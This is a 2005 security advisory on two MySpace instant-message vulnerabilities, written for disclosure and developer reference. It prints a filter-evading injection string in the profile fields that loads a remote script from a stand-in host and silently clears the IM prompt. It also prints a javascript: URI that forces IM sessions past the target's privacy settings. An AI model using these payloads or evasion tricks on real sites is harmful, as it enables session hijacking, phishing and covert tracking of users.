Critical Myspace.com Vulnerabilites
(Is there a rule I am breaking in the scope of this advisory??)
http://www.silent-products.com/advisory12.5.05.txt
Critical Myspace Vulnerabilities Leave Every Active Account Exploitable
Reported December 5th, 2005
Introduction
------------
In this advisory we will be detailing some very recent holes in the Myspace.com
web-application. If you are not
familiar with Myspace there is much information about the internet phenomenon
on the web that will do better
justice at describing what it is than I can here. Both vulnerabilities lie
within the Instant Message (IM) feature
from within the site. Proper manipulation of both exploits leaves every active
account on Myspace potential targets. As displayed
by a quite harmless worm Sammy - the seriousness of an effective Myspace hack
that would permit nearly unrestricted
access to all active accounts should be quite well understood. With this we
will be just detailing the vulnerabilities
and how one might exploit the vulnerabilities without imbedding much of the
politics and opinions that could go with it.
At the time of this write up one of the exploits has been patched by Myspace
(the first - and more serious - one) whereas
no action has been taken to fix the other reported vulnerability. The
information is to be used to derive the seriousness
of the issue and to add to the general information base of web-application
security holes for developer reference.
Vulnerability 1: XSS/Script Injection Vulnerability in MySpace IM Webapplication
--------------------------------------------------------------------------------
Upon an IM request - a javascript command is appended to every requested page
on myspace.com that will cause a
prompt to appear asking if the user would wish the accept/reject the IM request
from the other user. The appended
script appears at the bottom of the HTML and is much like the following:
<script language="javascript">
<!--
window.parent.up_launchIC( '123456', '123456', 'a', '1',
'http:\/\/profile.myspace.com\/index.cfm?fuseaction=user.viewprofile&friendID=123456&showIM=false',
'F', '21', 'a, a', 'http://x.myspace.com/images/no_pic.gif' );
//-->
</script>
The function up_launchIC comes from the following script which is included on
every page on Myspace:
http://x.myspace.com/js/functions.js
The arguments passed to the function up_launchIC(); allows the script to
generate a sort of popup that notifies the user
of the incoming IM request, who it's from, and allows them to accept/reject the
request. Three of these arguments can
be manipulated by the target and are not properly filtered (Display Name, City,
and State). An attacker can break out of
the function using the unfiltered ' character. By properly crafting a
malicious Username/City/State combination the attacker
can force script execution on the target's browser.
This exploit can be automated and only requires that the user be active on
myspace.com and logged in - in order for
the exploit to work. The target is not required to visit any special page for
this exploit to work since the accept/reject
prompt is injected into every page on the myspace domain. This makes this
exploit critical.
Instant Messaging can be disabled and hampering the effects of this exploit.
However, due to another vulnerability
in myspace.com that circumvents any of the IM settings (will be outlined in
Vulnerability 2), a proper exploit cannot
be protected against by the client.
There are a number of exploit restrictions that make the exploit more difficult
to develop - but not impossible. The first
is size. There are a total of 150 characters that can be injected and also the
exploit must clean up the javascript it
broke out of to not cause any errors. This amount is plenty to inject a remote
script which can be of any length using
<script src=remote script.js>. The second limitation is filtering. There are
active filters that monitor the content
placed in the fields (filtering out <script etc.). For our needs we need only
to circumvent the filters on <script which
can be done using document.write('<sc','ript'); which breaks up the filtered
word. Another filtering limitation applies to
only the name field in which < or > cannot be used. This is not fatal to the
exploit - the developer of the exploit just
needs to be aware of such.
The following exploit will cause a script to be injected from
http://a.bcde.net/fg/h.js. Additionally it will call the
up_clearICNotify function which clears the prompt (passing the attacker's
Friend ID) so the exploit executes without any
notification to the target.
[Exploit For Vulnerability #1]
Create an account with the following information in the account display fields
and then request an IM with a user:
NAME/CITY/STATE:
',1);up_clearICNotify('12345678');var x='.bcde';('
');document.write('<s','cript src=http://a',x);(''
'');document.write('.net/fg/h.js></s','cript>');('
This vulnerability is patched by filtering the ' character (the ' character is
replaced by .. in Myspace).
Vulnerability 2: Force IM Request
---------------------------------
The IM application doesn't handle the send request function correctly.
Normally, if a user was to try to send an IM request
to someone with the feature disabled they will receive an error message stating
such. However, if the user was to send a message
to Myspace as if they were ACCEPTING a request supposedly requested by the
other party - this isn't verified and the IM request
goes through. This forged acceptance can be exploited by simple means of
calling the up_launchIC function locally and accepting
the request.
[Exploit For Vulnerability #2]
While logged into your Myspace account copy+paste the following into your URI
field (works for IE and Firefox) and hit enter:
javascript:window.parent.up_launchIC( '[ATTACKER FriendID]', '[TARGET
FriendID]', 'amanda', '1',
'http:\/\/www.myspace.com\/index.cfm?fuseaction=user.viewProfile&friendID=12999703&Mytoken=20050410024025&showIM=false',
'M', '17', ', ', 'http://n00084.myspace.com/00084/36/34/84744363_s.jpg' );
(Replace the [ATTACKER FriendID] with the FriendID of the attacking account and
[TARGET FriendID] with the FriendID of the target account)
The function for the IM incoming request will be provoked and a prompt will be
provided to you. Accept it - and the session will be created
regardless of what privacy settings the target has set for the IM feature.
This vulnerability has still not be addressed by Myspace as of today.
Ramifications:
--------------
With properly exploitation of both exploits a script can be injected onto the
target within the Myspace domain. This can allow unsuspected,
unguided session hijacking, convenient grounds for phishing attacks, and also
user tracking (the exploit can be crafted in such a way that it
appears on every page and reports what the user is doing and where they are
going within Myspace). The depth of the combined vulnerabilities
provides much power to the creative exploit writer. The vulnerability could
even be waged as a worm much like the Sammy worm, but more effective
in that the vulnerabilities it exploits is far less restricting. Given the
general personal nature of Myspace makes this exploit that much more
dangerous.
We hope the informational approach of this write-up allows the readers to draw
a sober insight on the importance and seriousness of web-application
and social-network security.
Justin Lavoie
Silent Productions
http://www.silent-products.com
silentproducts@xxxxxxxxx